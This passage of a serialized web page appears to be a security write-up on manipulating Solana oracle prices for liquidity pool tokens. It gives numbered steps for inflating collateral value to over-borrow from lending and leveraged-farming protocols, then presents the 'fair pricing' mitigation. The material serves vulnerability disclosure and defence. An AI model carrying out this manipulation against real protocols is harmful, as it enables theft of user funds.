27],[1459],{"type":22,"tag":264,"props":1460,"children":1462},{"className":1461},[289],[1463],{"type":27,"value":731},{"type":22,"tag":264,"props":1465,"children":1467},{"className":1466},[289],[1468],{"type":27,"value":1469},"375",{"type":22,"tag":23,"props":1471,"children":1472},{},[1473],{"type":27,"value":1474},"Anyone who owns an LP token for this pool has effectively gained $75! (assuming the value of USDC and SOL haven't changed)",{"type":22,"tag":23,"props":1476,"children":1477},{},[1478],{"type":22,"tag":242,"props":1479,"children":1480},{},[1481],{"type":27,"value":1482},"Constant product doesn't mean constant value",{"type":22,"tag":23,"props":1484,"children":1485},{},[1486],{"type":27,"value":1487},"As an aside, liquidity pool tokens are also an interesting example of how DeFi focuses on maximizing yields. Many lending protocols allow users to deposit LP tokens as collateral, and gain liquidity mining rewards along with interest on top of the normal liquidity pool yields. However, the extra complexity added by using liquidity pool tokens can easily lead to security problems.",{"type":22,"tag":181,"props":1489,"children":1491},{"id":1490},"oracles",[1492],{"type":27,"value":1493},"Oracles",{"type":22,"tag":23,"props":1495,"children":1496},{},[1497],{"type":27,"value":1498},"On Solana many platforms (leveraged farming, lending, perps, etc) rely on oracles to determine the true value of an asset. When oracles misreport prices this can result in stolen funds or insolvency of their respective protocols.",{"type":22,"tag":23,"props":1500,"children":1501},{},[1502],{"type":27,"value":1503},"Most oracle values are compiled from a variety of onchain and offchain sources. However, liquidity pool tokens by nature have a single point of failure: calculating how many backing tokens an LP token can be redeemed for, which is based off the token balance of the relevant liquidity pool.",{"type":22,"tag":23,"props":1505,"children":1506},{},[1507,1509,1516],{"type":27,"value":1508},"One such oracle is Switchboard, which is used by many popular lending protocols. Internally, switchboard ",{"type":22,"tag":69,"props":1510,"children":1513},{"href":1511,"rel":1512},"https://switchboard.xyz/explorer/1/9r2p6vyF8Wp5YB2DASK95yuXEakQth6wmUmV2DpH91WX",[73],[1514],{"type":27,"value":1515},"sends a GET request",{"type":27,"value":1517}," to the respective swap protocol's API every minute, and directly pushes that price onchain.",{"type":22,"tag":23,"props":1519,"children":1520},{},[1521],{"type":27,"value":1522},"For example, the switchboard task configuration for the price of stSOL on Raydium:",{"type":22,"tag":618,"props":1524,"children":1528},{"className":1525,"code":1526,"language":1527,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"tasks\": [\n    {\n      \"httpTask\": {\n        \"url\": \"https://api.raydium.io/pairs\"\n      }\n    },\n    {\n      \"jsonParseTask\": {\n        \"path\": \"$[?(@.name == 'stSOL-USDC')].price\"\n      }\n    }\n  ]\n}\n","json",[1529],{"type":22,"tag":257,"props":1530,"children":1531},{"__ignoreMap":7},[1532,1543,1558,1567,1581,1601,1610,1619,1627,1640,1658,1666,1675,1684],{"type":22,"tag":264,"props":1533,"children":1536},{"class":1534,"line":1535},"line",1,[1537],{"type":22,"tag":264,"props":1538,"children":1540},{"style":1539},"--shiki-default:#E6E6E6",[1541],{"type":27,"value":1542},"{\n",{"type":22,"tag":264,"props":1544,"children":1546},{"class":1534,"line":1545},2,[1547,1553],{"type":22,"tag":264,"props":1548,"children":1550},{"style":1549},"--shiki-default:#9CDCFE",[1551],{"type":27,"value":1552},"  \"tasks\"",{"type":22,"tag":264,"props":1554,"children":1555},{"style":1539},[1556],{"type":27,"value":1557},": [\n",{"type":22,"tag":264,"props":1559,"children":1561},{"class":1534,"line":1560},3,[1562],{"type":22,"tag":264,"props":1563,"children":1564},{"style":1539},[1565],{"type":27,"value":1566},"    {\n",{"type":22,"tag":264,"props":1568,"children":1570},{"class":1534,"line":1569},4,[1571,1576],{"type":22,"tag":264,"props":1572,"children":1573},{"style":1549},[1574],{"type":27,"value":1575},"      \"httpTask\"",{"type":22,"tag":264,"props":1577,"children":1578},{"style":1539},[1579],{"type":27,"value":1580},": {\n",{"type":22,"tag":264,"props":1582,"children":1584},{"class":1534,"line":1583},5,[1585,1590,1595],{"type":22,"tag":264,"props":1586,"children":1587},{"style":1549},[1588],{"type":27,"value":1589},"        \"url\"",{"type":22,"tag":264,"props":1591,"children":1592},{"style":1539},[1593],{"type":27,"value":1594},": ",{"type":22,"tag":264,"props":1596,"children":1598},{"style":1597},"--shiki-default:#CE9178",[1599],{"type":27,"value":1600},"\"https://api.raydium.io/pairs\"\n",{"type":22,"tag":264,"props":1602,"children":1604},{"class":1534,"line":1603},6,[1605],{"type":22,"tag":264,"props":1606,"children":1607},{"style":1539},[1608],{"type":27,"value":1609},"      }\n",{"type":22,"tag":264,"props":1611,"children":1613},{"class":1534,"line":1612},7,[1614],{"type":22,"tag":264,"props":1615,"children":1616},{"style":1539},[1617],{"type":27,"value":1618},"    },\n",{"type":22,"tag":264,"props":1620,"children":1622},{"class":1534,"line":1621},8,[1623],{"type":22,"tag":264,"props":1624,"children":1625},{"style":1539},[1626],{"type":27,"value":1566},{"type":22,"tag":264,"props":1628,"children":1630},{"class":1534,"line":1629},9,[1631,1636],{"type":22,"tag":264,"props":1632,"children":1633},{"style":1549},[1634],{"type":27,"value":1635},"      \"jsonParseTask\"",{"type":22,"tag":264,"props":1637,"children":1638},{"style":1539},[1639],{"type":27,"value":1580},{"type":22,"tag":264,"props":1641,"children":1643},{"class":1534,"line":1642},10,[1644,1649,1653],{"type":22,"tag":264,"props":1645,"children":1646},{"style":1549},[1647],{"type":27,"value":1648},"        \"path\"",{"type":22,"tag":264,"props":1650,"children":1651},{"style":1539},[1652],{"type":27,"value":1594},{"type":22,"tag":264,"props":1654,"children":1655},{"style":1597},[1656],{"type":27,"value":1657},"\"$[?(@.name == 'stSOL-USDC')].price\"\n",{"type":22,"tag":264,"props":1659,"children":1661},{"class":1534,"line":1660},11,[1662],{"type":22,"tag":264,"props":1663,"children":1664},{"style":1539},[1665],{"type":27,"value":1609},{"type":22,"tag":264,"props":1667,"children":1669},{"class":1534,"line":1668},12,[1670],{"type":22,"tag":264,"props":1671,"children":1672},{"style":1539},[1673],{"type":27,"value":1674},"    }\n",{"type":22,"tag":264,"props":1676,"children":1678},{"class":1534,"line":1677},13,[1679],{"type":22,"tag":264,"props":1680,"children":1681},{"style":1539},[1682],{"type":27,"value":1683},"  ]\n",{"type":22,"tag":264,"props":1685,"children":1687},{"class":1534,"line":1686},14,[1688],{"type":22,"tag":264,"props":1689,"children":1690},{"style":1539},[1691],{"type":27,"value":1692},"}\n",{"type":22,"tag":23,"props":1694,"children":1695},{},[1696,1698,1704],{"type":27,"value":1697},"The Raydium API calculates liquidity pool token values by pulling token balances from the respective AMM onchain. In other words, Switchboard's oracle was ",{"type":22,"tag":1699,"props":1700,"children":1701},"em",{},[1702],{"type":27,"value":1703},"directly reflecting the onchain state",{"type":27,"value":210},{"type":22,"tag":169,"props":1706,"children":1708},{"id":1707},"exploitation",[1709],{"type":27,"value":1710},"Exploitation",{"type":22,"tag":23,"props":1712,"children":1713},{},[1714],{"type":27,"value":1715},"Putting this all together, we start to see something suspicious. Pricing of liquidity pool tokens rely directly on onchain state, which can be easily manipulated.",{"type":22,"tag":23,"props":1717,"children":1718},{},[1719],{"type":27,"value":1720},"Recall previously that by swapping a large amount into a given AMM, we are able to change the global price for that AMM's liquidity pool token.",{"type":22,"tag":23,"props":1722,"children":1723},{},[1724],{"type":27,"value":1725},"This transaction can be executed right before an oracle update. Alternatively, an attacker could lock the AMM by spamming transactions to effectively deny usage of the AMM to prevent arbitrage until the oracle updates.",{"type":22,"tag":23,"props":1727,"children":1728},{},[1729],{"type":27,"value":1730},"With our previous example, we manipulated the price of a liquidity pool token from $300 to $375. As a more extreme example, consider the transaction of 998500 USDC. After such a swap, the AMM will have 1 million USDC and 0.015 SOL. The oracle would report a value of over $100,000 per token.",{"type":22,"tag":618,"props":1732,"children":1733},{},[1734],{"type":22,"tag":257,"props":1735,"children":1737},{"className":1736},[260,624],[1738],{"type":22,"tag":264,"props":1739,"children":1741},{"className":1740},[629],[1742],{"type":22,"tag":264,"props":1743,"children":1745},{"className":1744},[267],[1746],{"type":22,"tag":264,"props":1747,"children":1749},{"className":1748,"ariaHidden":273},[272],[1750,1786,1822],{"type":22,"tag":264,"props":1751,"children":1753},{"className":1752},[278],[1754,1758,1764,1773,1777,1782],{"type":22,"tag":264,"props":1755,"children":1757},{"className":1756,"style":646},[283],[],{"type":22,"tag":264,"props":1759,"children":1761},{"className":1760},[289],[1762],{"type":27,"value":1763},"1000000",{"type":22,"tag":264,"props":1765,"children":1767},{"className":1766},[289,27],[1768],{"type":22,"tag":264,"props":1769,"children":1771},{"className":1770},[289],[1772],{"type":27,"value":392},{"type":22,"tag":264,"props":1774,"children":1776},{"className":1775,"style":665},[420],[],{"type":22,"tag":264,"props":1778,"children":1780},{"className":1779},[670],[1781],{"type":27,"value":673},{"type":22,"tag":264,"props":1783,"children":1785},{"className":1784,"style":665},[420],[],{"type":22,"tag":264,"props":1787,"children":1789},{"className":1788},[278],[1790,1794,1800,1809,1813,1818],{"type":22,"tag":264,"props":1791,"children":1793},{"className":1792,"style":441},[283],[],{"type":22,"tag":264,"props":1795,"children":1797},{"className":1796},[289],[1798],{"type":27,"value":1799},"0.015",{"type":22,"tag":264,"props":1801,"children":1803},{"className":1802},[289,27],[1804],{"type":22,"tag":264,"props":1805,"children":1807},{"className":1806},[289],[1808],{"type":27,"value":555},{"type":22,"tag":264,"props":1810,"children":1812},{"className":1811,"style":421},[420],[],{"type":22,"tag":264,"props":1814,"children":1816},{"className":1815},[426],[1817],{"type":27,"value":429},{"type":22,"tag":264,"props":1819,"children":1821},{"className":1820,"style":421},[420],[],{"type":22,"tag":264,"props":1823,"children":1825},{"className":1824},[278],[1826,1830,1839],{"type":22,"tag":264,"props":1827,"children":1829},{"className":1828,"style":757},[283],[],{"type":22,"tag":264,"props":1831,"children":1833},{"className":1832},[289,27],[1834],{"type":22,"tag":264,"props":1835,"children":1837},{"className":1836},[289],[1838],{"type":27,"value":731},{"type":22,"tag":264,"props":1840,"children":1842},{"className":1841},[289],[1843],{"type":27,"value":1844},"100000.225",{"type":22,"tag":23,"props":1846,"children":1847},{},[1848],{"type":27,"value":1849},"Now let's explore how this manipulation can be used to steal funds.",{"type":22,"tag":181,"props":1851,"children":1853},{"id":1852},"lending",[1854],{"type":27,"value":1855},"Lending",{"type":22,"tag":23,"props":1857,"children":1858},{},[1859],{"type":27,"value":1860},"Lending is the simplest to exploit. By holding and manipulating the liquidity pool token price, we are able to directly affect the value of our underlying collateral. We are then able to overborrow against this collateral, stealing money from the lending protocol.",{"type":22,"tag":23,"props":1862,"children":1863},{},[1864],{"type":27,"value":1865},"More specifically, consider the following process.",{"type":22,"tag":1867,"props":1868,"children":1869},"ol",{},[1870,1876,1881,1886,1891,1896],{"type":22,"tag":1871,"props":1872,"children":1873},"li",{},[1874],{"type":27,"value":1875},"Manipulate price by swapping a large amount in the AMM",{"type":22,"tag":1871,"props":1877,"children":1878},{},[1879],{"type":27,"value":1880},"Oracle updates, liquidity pool token is now overvalued",{"type":22,"tag":1871,"props":1882,"children":1883},{},[1884],{"type":27,"value":1885},"Sell/buy back all the tokens to move AMM price to a sane value",{"type":22,"tag":1871,"props":1887,"children":1888},{},[1889],{"type":27,"value":1890},"Mint liquidity pool tokens -> Deposit as collateral -> Borrow against that overvalued collateral",{"type":22,"tag":1871,"props":1892,"children":1893},{},[1894],{"type":27,"value":1895},"Oracle gets updated",{"type":22,"tag":1871,"props":1897,"children":1898},{},[1899],{"type":27,"value":1900},"Get liquidated by the lending protocol, but keep the borrowed assets",{"type":22,"tag":23,"props":1902,"children":1903},{},[1904],{"type":27,"value":1905},"As a more concrete example, consider if an attacker spoofed the LP token price to $100,000,000, which was then uploaded to the oracle feed. After the oracle update, the attacker could move the LP token price back to a sane value such as $100. They would then be able to mint LP tokens for $100 each.",{"type":22,"tag":23,"props":1907,"children":1908},{},[1909],{"type":27,"value":1910},"Because the oracle prices are cached, the lending protocol mistakenly believes each LP token is worth $100,000,000. If the attacker deposited 1 LP token, they could then borrow against $100,000,000 of collateral, even though the real value of their deposits is only $100. For example, if the LTV of the lending protocol is 75%, they would be able to borrow $75,000,000 worth of tokens.",{"type":22,"tag":23,"props":1912,"children":1913},{},[1914],{"type":27,"value":1915},"After the price updates they'll get liquidated, but keep the borrowed $75,000,000 of tokens. This gives a net profit of $74,999,900 minus any costs of the manipulation (for example swap fees).",{"type":22,"tag":181,"props":1917,"children":1919},{"id":1918},"leveraged-farming",[1920],{"type":27,"value":1921},"Leveraged Farming",{"type":22,"tag":23,"props":1923,"children":1924},{},[1925],{"type":27,"value":1926},"Since you can’t directly deposit liquidity pool tokens for leveraged farming, you must open a leveraged position, manipulate price, up your leverage (which increases liquidity that can be arbitraged because it's at a bad price), sell off outside the farm and set price back to normal.",{"type":22,"tag":23,"props":1928,"children":1929},{},[1930],{"type":27,"value":1931},"The steps are as follows.",{"type":22,"tag":1867,"props":1933,"children":1934},{},[1935,1939,1943,1948,1953,1957],{"type":22,"tag":1871,"props":1936,"children":1937},{},[1938],{"type":27,"value":1875},{"type":22,"tag":1871,"props":1940,"children":1941},{},[1942],{"type":27,"value":1880},{"type":22,"tag":1871,"props":1944,"children":1945},{},[1946],{"type":27,"value":1947},"Leverage higher valued collateral liquidity pool tokens to mint more liquidity pool tokens",{"type":22,"tag":1871,"props":1949,"children":1950},{},[1951],{"type":27,"value":1952},"This increases the liquidity in the pool - perform \"arbitrage\" on the unbalanced liquidity pool",{"type":22,"tag":1871,"props":1954,"children":1955},{},[1956],{"type":27,"value":1895},{"type":22,"tag":1871,"props":1958,"children":1959},{},[1960],{"type":27,"value":1961},"Get liquidated, but keep profits from the \"arbitrage\"",{"type":22,"tag":23,"props":1963,"children":1964},{},[1965],{"type":27,"value":1966},"As a more concrete example, an attacker could open an LP position worth $100. They would then manipulate price so that their leveraged position is now worth $100,000,000.",{"type":22,"tag":23,"props":1968,"children":1969},{},[1970],{"type":27,"value":1971},"After borrowing $50,000,000 to lever up further and deposit more liquidity into the LP, they could sell at inflated exchange rate outside draining the $50,000,000 borrowed and any initial capital used to manipulate.",{"type":22,"tag":169,"props":1973,"children":1975},{"id":1974},"patch",[1976],{"type":27,"value":1977},"Patch",{"type":22,"tag":23,"props":1979,"children":1980},{},[1981,1983,1990],{"type":27,"value":1982},"This exploit is similar to some vulnerabilities which have happened on Ethereum involving flash loans and on chain oracles. To mitigate the issue Alpha Finance introduced the concept of ",{"type":22,"tag":69,"props":1984,"children":1987},{"href":1985,"rel":1986},"https://blog.alphafinance.io/fair-lp-token-pricing/",[73],[1988],{"type":27,"value":1989},"\"fair pricing\"",{"type":27,"value":1991}," for constant product LP tokens.",{"type":22,"tag":23,"props":1993,"children":1994},{},[1995],{"type":27,"value":1996},"The concept is relatively simple. Instead of relying on the ratio of the tokens in the liquidity pool, compute what the ratio \"should be\" based on the relative price of the assets as determined by a trusted offchain oracle. This avoids using onchain data for pricing, which is susceptible to manipulation.",{"type":22,"tag":23,"props":1998,"children":1999},{},[2000],{"type":27,"value":2001},"An abridged computation can be found below. For more details, we recommend reading the Alpha Finance article.",{"type":22,"tag":618,"props":2003,"children":2004},{},[2005],{"type":22,"tag":257,"props":2006,"children":2008},{"className":2007},[260,624],[2009],{"type":22,"tag":264,"props":2010,"children":2012},{"className":2011},[629],[2013],{"type":22,"tag":264,"props":2014,"children":2016},{"className":2015},[267],[2017],{"type":22,"tag":264,"props":2018,"children":2020},{"className":2019,"ariaHidden":273},[272],[2021,2053,2448,2452,2470,3466,3470,3487,3955],{"type":22,"tag":264,"props":2022,"children":2024},{"className":2023},[278],[2025,2030,2040,2044,2049],{"type":22,"tag":264,"props":2026,"children":2029},{"className":2027,"style":2028},[283],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":2031,"children":2033},{"className":2032},[289,27],[2034],{"type":22,"tag":264,"props":2035,"children":2037},{"className":2036},[289],[2038],{"type":27,"value":2039},"fair LP price",{"type":22,"tag":264,"props":2041,"children":2043},{"className":2042,"style":421},[420],[],{"type":22,"tag":264,"props":2045,"children":2047},{"className":2046},[426],[2048],{"type":27,"value":429},{"type":22,"tag":264,"props":2050,"children":2052},{"className":2051,"style":421},[420],[],{"type":22,"tag":264,"props":2054,"children":2056},{"className":2055},[278],[2057,2062],{"type":22,"tag":264,"props":2058,"children":2061},{"className":2059,"style":2060},[283],"height:2.3246em;vertical-align:-0.8804em;",[],{"type":22,"tag":264,"props":2063,"children":2065},{"className":2064},[289],[2066,2070,2444],{"type":22,"tag":264,"props":2067,"children":2069},{"className":2068},[294,295],[],{"type":22,"tag":264,"props":2071,"children":2073},{"className":2072},[300],[2074],{"type":22,"tag":264,"props":2075,"children":2077},{"className":2076},[305,306],[2078,2432],{"type":22,"tag":264,"props":2079,"children":2081},{"className":2080},[311],[2082,2427],{"type":22,"tag":264,"props":2083,"children":2086},{"className":2084,"style":2085},[316],"height:1.4441em;",[2087,2108,2119],{"type":22,"tag":264,"props":2088,"children":2089},{"style":1030},[2090,2094],{"type":22,"tag":264,"props":2091,"children":2093},{"className":2092,"style":327},[326],[],{"type":22,"tag":264,"props":2095,"children":2097},{"className":2096},[289],[2098],{"type":22,"tag":264,"props":2099,"children":2101},{"className":2100},[289,27],[2102],{"type":22,"tag":264,"props":2103,"children":2105},{"className":2104},[289],[2106],{"type":27,"value":2107},"qty",{"type":22,"tag":264,"props":2109,"children":2110},{"style":349},[2111,2115],{"type":22,"tag":264,"props":2112,"children":2114},{"className":2113,"style":327},[326],[],{"type":22,"tag":264,"props":2116,"children":2118},{"className":2117,"style":359},[358],[],{"type":22,"tag":264,"props":2120,"children":2122},{"style":2121},"top:-3.7497em;",[2123,2127],{"type":22,"tag":264,"props":2124,"children":2126},{"className":2125,"style":327},[326],[],{"type":22,"tag":264,"props":2128,"children":2130},{"className":2129},[289],[2131,2199,2203,2208,2212,2277,2281,2286,2290,2352,2356,2361,2365],{"type":22,"tag":264,"props":2132,"children":2134},{"className":2133},[289],[2135,2144],{"type":22,"tag":264,"props":2136,"children":2138},{"className":2137},[289,27],[2139],{"type":22,"tag":264,"props":2140,"children":2142},{"className":2141},[289],[2143],{"type":27,"value":23},{"type":22,"tag":264,"props":2145,"children":2148},{"className":2146},[2147],"msupsub",[2149],{"type":22,"tag":264,"props":2150,"children":2152},{"className":2151},[305,306],[2153,2187],{"type":22,"tag":264,"props":2154,"children":2156},{"className":2155},[311],[2157,2182],{"type":22,"tag":264,"props":2158,"children":2161},{"className":2159,"style":2160},[316],"height:0.242em;",[2162],{"type":22,"tag":264,"props":2163,"children":2165},{"style":2164},"top:-2.4559em;margin-right:0.05em;",[2166,2171],{"type":22,"tag":264,"props":2167,"children":2170},{"className":2168,"style":2169},[326],"height:2.7em;",[],{"type":22,"tag":264,"props":2172,"children":2174},{"className":2173},[332,333,334,335],[2175],{"type":22,"tag":264,"props":2176,"children":2179},{"className":2177},[289,2178,335],"mathnormal",[2180],{"type":27,"value":2181},"b",{"type":22,"tag":264,"props":2183,"children":2185},{"className":2184},[396],[2186],{"type":27,"value":399},{"type":22,"tag":264,"props":2188,"children":2190},{"className":2189},[311],[2191],{"type":22,"tag":264,"props":2192,"children":2195},{"className":2193,"style":2194},[316],"height:0.2441em;",[2196],{"type":22,"tag":264,"props":2197,"children":2198},{},[],{"type":22,"tag":264,"props":2200,"children":2202},{"className":2201,"style":665},[420],[],{"type":22,"tag":264,"props":2204,"children":2206},{"className":2205},[670],[2207],{"type":27,"value":867},{"type":22,"tag":264,"props":2209,"children":2211},{"className":2210,"style":665},[420],[],{"type":22,"tag":264,"props":2213,"children":2215},{"className":2214},[289],[2216,2226],{"type":22,"tag":264,"props":2217,"children":2219},{"className":2218},[289,27],[2220],{"type":22,"tag":264,"props":2221,"children":2223},{"className":2222},[289],[2224],{"type":27,"value":2225},"expected_qty",{"type":22,"tag":264,"props":2227,"children":2229},{"className":2228},[2147],[2230],{"type":22,"tag":264,"props":2231,"children":2233},{"className":2232},[305,306],[2234,2265],{"type":22,"tag":264,"props":2235,"children":2237},{"className":2236},[311],[2238,2260],{"type":22,"tag":264,"props":2239,"children":2242},{"className":2240,"style":2241},[316],"height:0.1264em;",[2243],{"type":22,"tag":264,"props":2244,"children":2246},{"style":2245},"top:-2.3403em;margin-right:0.05em;",[2247,2251],{"type":22,"tag":264,"props":2248,"children":2250},{"className":2249,"style":2169},[326],[],{"type":22,"tag":264,"props":2252,"children":2254},{"className":2253},[332,333,334,335],[2255],{"type":22,"tag":264,"props":2256,"children":2258},{"className":2257},[289,2178,335],[2259],{"type":27,"value":2181},{"type":22,"tag":264,"props":2261,"children":2263},{"className":2262},[396],[2264],{"type":27,"value":399},{"type":22,"tag":264,"props":2266,"children":2268},{"className":2267},[311],[2269],{"type":22,"tag":264,"props":2270,"children":2273},{"className":2271,"style":2272},[316],"height:0.3597em;",[2274],{"type":22,"tag":264,"props":2275,"children":2276},{},[],{"type":22,"tag":264,"props":2278,"children":2280},{"className":2279,"style":665},[420],[],{"type":22,"tag":264,"props":2282,"children":2284},{"className":2283},[670],[2285],{"type":27,"value":673},{"type":22,"tag":264,"props":2287,"children":2289},{"className":2288,"style":665},[420],[],{"type":22,"tag":264,"props":2291,"children":2293},{"className":2292},[289],[2294,2303],{"type":22,"tag":264,"props":2295,"children":2297},{"className":2296},[289,27],[2298],{"type":22,"tag":264,"props":2299,"children":2301},{"className":2300},[289],[2302],{"type":27,"value":23},{"type":22,"tag":264,"props":2304,"children":2306},{"className":2305},[2147],[2307],{"type":22,"tag":264,"props":2308,"children":2310},{"className":2309},[305,306],[2311,2341],{"type":22,"tag":264,"props":2312,"children":2314},{"className":2313},[311],[2315,2336],{"type":22,"tag":264,"props":2316,"children":2319},{"className":2317,"style":2318},[316],"height:0.0573em;",[2320],{"type":22,"tag":264,"props":2321,"children":2322},{"style":2164},[2323,2327],{"type":22,"tag":264,"props":2324,"children":2326},{"className":2325,"style":2169},[326],[],{"type":22,"tag":264,"props":2328,"children":2330},{"className":2329},[332,333,334,335],[2331],{"type":22,"tag":264,"props":2332,"children":2334},{"className":2333},[289,2178,335],[2335],{"type":27,"value":69},{"type":22,"tag":264,"props":2337,"children":2339},{"className":2338},[396],[2340],{"type":27,"value":399},{"type":22,"tag":264,"props":2342,"children":2344},{"className":2343},[311],[2345],{"type":22,"tag":264,"props":2346,"children":2348},{"className":2347,"style":2194},[316],[2349],{"type":22,"tag":264,"props":2350,"children":2351},{},[],{"type":22,"tag":264,"props":2353,"children":2355},{"className":2354,"style":665},[420],[],{"type":22,"tag":264,"props":2357,"children":2359},{"className":2358},[670],[2360],{"type":27,"value":867},{"type":22,"tag":264,"props":2362,"children":2364},{"className":2363,"style":665},[420],[],{"type":22,"tag":264,"props":2366,"children":2368},{"className":2367},[289],[2369,2378],{"type":22,"tag":264,"props":2370,"children":2372},{"className":2371},[289,27],[2373],{"type":22,"tag":264,"props":2374,"children":2376},{"className":2375},[289],[2377],{"type":27,"value":2225},{"type":22,"tag":264,"props":2379,"children":2381},{"className":2380},[2147],[2382],{"type":22,"tag":264,"props":2383,"children":2385},{"className":2384},[305,306],[2386,2416],{"type":22,"tag":264,"props":2387,"children":2389},{"className":2388},[311],[2390,2411],{"type":22,"tag":264,"props":2391,"children":2394},{"className":2392,"style":2393},[316],"height:-0.0583em;",[2395],{"type":22,"tag":264,"props":2396,"children":2397},{"style":2245},[2398,2402],{"type":22,"tag":264,"props":2399,"children":2401},{"className":2400,"style":2169},[326],[],{"type":22,"tag":264,"props":2403,"children":2405},{"className":2404},[332,333,334,335],[2406],{"type":22,"tag":264,"props":2407,"children":2409},{"className":2408},[289,2178,335],[2410],{"type":27,"value":69},{"type":22,"tag":264,"props":2412,"children":2414},{"className":2413},[396],[2415],{"type":27,"value":399},{"type":22,"tag":264,"props":2417,"children":2419},{"className":2418},[311],[2420],{"type":22,"tag":264,"props":2421,"children":2423},{"className":2422,"style":2272},[316],[2424],{"type":22,"tag":264,"props":2425,"children":2426},{},[],{"type":22,"tag":264,"props":2428,"children":2430},{"className":2429},[396],[2431],{"type":27,"value":399},{"type":22,"tag":264,"props":2433,"children":2435},{"className":2434},[311],[2436],{"type":22,"tag":264,"props":2437,"children":2440},{"className":2438,"style":2439},[316],"height:0.8804em;",[2441],{"type":22,"tag":264,"props":2442,"children":2443},{},[],{"type":22,"tag":264,"props":2445,"children":2447},{"className":2446},[415,295],[],{"type":22,"tag":264,"props":2449,"children":2451},{"className":2450},[420,461],[],{"type":22,"tag":264,"props":2453,"children":2455},{"className":2454},[278],[2456,2461,2466],{"type":22,"tag":264,"props":2457,"children":2460},{"className":2458,"style":2459},[283],"height:0.3669em;",[],{"type":22,"tag":264,"props":2462,"children":2464},{"className":2463},[426],[2465],{"type":27,"value":429},{"type":22,"tag":264,"props":2467,"children":2469},{"className":2468,"style":421},[420],[],{"type":22,"tag":264,"props":2471,"children":2473},{"className":2472},[278],[2474,2479],{"type":22,"tag":264,"props":2475,"children":2478},{"className":2476,"style":2477},[283],"height:2.5104em;vertical-align:-0.8804em;",[],{"type":22,"tag":264,"props":2480,"children":2482},{"className":2481},[289],[2483,2487,3462],{"type":22,"tag":264,"props":2484,"children":2486},{"className":2485},[294,295],[],{"type":22,"tag":264,"props":2488,"children":2490},{"className":2489},[300],[2491],{"type":22,"tag":264,"props":2492,"children":2494},{"className":2493},[305,306],[2495,3451],{"type":22,"tag":264,"props":2496,"children":2498},{"className":2497},[311],[2499,3446],{"type":22,"tag":264,"props":2500,"children":2503},{"className":2501,"style":2502},[316],"height:1.63em;",[2504,2524,2535],{"type":22,"tag":264,"props":2505,"children":2506},{"style":1030},[2507,2511],{"type":22,"tag":264,"props":2508,"children":2510},{"className":2509,"style":327},[326],[],{"type":22,"tag":264,"props":2512,"children":2514},{"className":2513},[289],[2515],{"type":22,"tag":264,"props":2516,"children":2518},{"className":2517},[289,27],[2519],{"type":22,"tag":264,"props":2520,"children":2522},{"className":2521},[289],[2523],{"type":27,"value":2107},{"type":22,"tag":264,"props":2525,"children":2526},{"style":349},[2527,2531],{"type":22,"tag":264,"props":2528,"children":2530},{"className":2529,"style":327},[326],[],{"type":22,"tag":264,"props":2532,"children":2534},{"className":2533,"style":359},[358],[],{"type":22,"tag":264,"props":2536,"children":2538},{"style":2537},"top:-3.695em;",[2539,2543],{"type":22,"tag":264,"props":2540,"children":2542},{"className":2541,"style":327},[326],[],{"type":22,"tag":264,"props":2544,"children":2546},{"className":2545},[289],[2547,2608,2612,2617,2621,2998,3003,3007,3012,3016,3077,3081,3086,3090],{"type":22,"tag":264,"props":2548,"children":2550},{"className":2549},[289],[2551,2560],{"type":22,"tag":264,"props":2552,"children":2554},{"className":2553},[289,27],[2555],{"type":22,"tag":264,"props":2556,"children":2558},{"className":2557},[289],[2559],{"type":27,"value":23},{"type":22,"tag":264,"props":2561,"children":2563},{"className":2562},[2147],[2564],{"type":22,"tag":264,"props":2565,"children":2567},{"className":2566},[305,306],[2568,2597],{"type":22,"tag":264,"props":2569,"children":2571},{"className":2570},[311],[2572,2592],{"type":22,"tag":264,"props":2573,"children":2575},{"className":2574,"style":2160},[316],[2576],{"type":22,"tag":264,"props":2577,"children":2578},{"style":2164},[2579,2583],{"type":22,"tag":264,"props":2580,"children":2582},{"className":2581,"style":2169},[326],[],{"type":22,"tag":264,"props":2584,"children":2586},{"className":2585},[332,333,334,335],[2587],{"type":22,"tag":264,"props":2588,"children":2590},{"className":2589},[289,2178,335],[2591],{"type":27,"value":2181},{"type":22,"tag":264,"props":2593,"children":2595},{"className":2594},[396],[2596],{"type":27,"value":399},{"type":22,"tag":264,"props":2598,"children":2600},{"className":2599},[311],[2601],{"type":22,"tag":264,"props":2602,"children":2604},{"className":2603,"style":2194},[316],[2605],{"type":22,"tag":264,"props":2606,"children":2607},{},[],{"type":22,"tag":264,"props":2609,"children":2611},{"className":2610,"style":665},[420],[],{"type":22,"tag":264,"props":2613,"children":2615},{"className":2614},[670],[2616],{"type":27,"value":867},{"type":22,"tag":264,"props":2618,"children":2620},{"className":2619,"style":665},[420],[],{"type":22,"tag":264,"props":2622,"children":2625},{"className":2623},[289,2624],"sqrt",[2626],{"type":22,"tag":264,"props":2627,"children":2629},{"className":2628},[305,306],[2630,2986],{"type":22,"tag":264,"props":2631,"children":2633},{"className":2632},[311],[2634,2981],{"type":22,"tag":264,"props":2635,"children":2638},{"className":2636,"style":2637},[316],"height:0.935em;",[2639,2953],{"type":22,"tag":264,"props":2640,"children":2644},{"className":2641,"style":2643},[2642],"svg-align","top:-3.2em;",[2645,2650],{"type":22,"tag":264,"props":2646,"children":2649},{"className":2647,"style":2648},[326],"height:3.2em;",[],{"type":22,"tag":264,"props":2651,"children":2654},{"className":2652,"style":2653},[289],"padding-left:1em;",[2655,2661,2726,2730,2735,2739,2801,2807,2811,2816,2820,2825,2886,2892],{"type":22,"tag":264,"props":2656,"children":2658},{"className":2657},[294],[2659],{"type":27,"value":2660},"(",{"type":22,"tag":264,"props":2662,"children":2664},{"className":2663},[289],[2665,2675],{"type":22,"tag":264,"props":2666,"children":2668},{"className":2667},[289,27],[2669],{"type":22,"tag":264,"props":2670,"children":2672},{"className":2671},[289],[2673],{"type":27,"value":2674},"amt",{"type":22,"tag":264,"props":2676,"children":2678},{"className":2677},[2147],[2679],{"type":22,"tag":264,"props":2680,"children":2682},{"className":2681},[305,306],[2683,2714],{"type":22,"tag":264,"props":2684,"children":2686},{"className":2685},[311],[2687,2709],{"type":22,"tag":264,"props":2688,"children":2691},{"className":2689,"style":2690},[316],"height:0.1514em;",[2692],{"type":22,"tag":264,"props":2693,"children":2695},{"style":2694},"top:-2.55em;margin-right:0.05em;",[2696,2700],{"type":22,"tag":264,"props":2697,"children":2699},{"className":2698,"style":2169},[326],[],{"type":22,"tag":264,"props":2701,"children":2703},